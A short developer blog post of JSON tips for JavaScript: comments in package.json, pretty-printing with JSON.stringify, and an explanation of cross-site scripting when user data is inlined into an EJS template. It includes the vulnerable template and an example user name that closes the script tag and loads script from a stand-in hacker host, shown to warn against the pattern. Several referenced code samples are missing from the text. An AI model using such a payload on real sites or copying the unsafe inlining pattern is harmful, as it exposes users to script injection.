JavaScript and JSON: Comments, Security, Pretty-Printing
This post is about some tricks for working with JSON in JavaScript projects. Hopefully at least one will be new and useful.
You Can Put Comments in your package.json
npm seems to be the de-facto task runner for JavaScript projects. npm scripts are Bash one-liners for doing things like compiling and deploying code. In general, this work really well, but the scripts can sometimes be cryptic.
Here’s an example npm script from the React project:
That’s a line that deserves a good comment, but JSON doesn’t support JS-style `//` and `/* */` comments. However, there’s a simple trick.
This is the approach to comments-in-JSON recommended by Isaac Schlueter, creator of npm, with the caveat that he doesn’t like comments.
Another approach, which might be easier to understand and use would be to follow a convention like this:
Either way, I’d welcome a few extra comments anywhere JSON is used for configuration. It’s a less extreme alternative to switching to something like TOML for configuration.
JavaScript has built-in JSON Pretty-Printing
It’s common to see `console.log(JSON.stringify(foo))` in JavaScript projects. The results look like this:
`console.log(JSON.stringify(foo, null, 2)`, produces much more readable output!
`JSON.parse` Won’t Stop You from Getting Hacked
In JavaScript-heavy sites, it can be tempting to send an initial payload of JSON data along with the HTML, like in the following EJS template:
<script>window.user = JSON.parse(<%= JSON.stringify(user)%>);</script>
The HTML will then be something like:
<script>window.user = JSON.parse({name: “Regina”, id: 5512});</script>
This is a vector for getting hacked. For example, if the user sets her name to be “</script><script src=”http://shady-hacker-site116.com/xsrf.js"></script>". The problem is that when the browser is parsing HTML, it doesn’t pay attention to things like where JavaScript strings begin and end, so it will interpret the “</script>” in the user’s name as a closing tag, then execute the rest of the name as HTML.
Solutions are to sanitize user-generated content and/or to not stick user-generated content directly into HTML.
If you tips of your own, or have an opinion about comments in JSON, please comment below.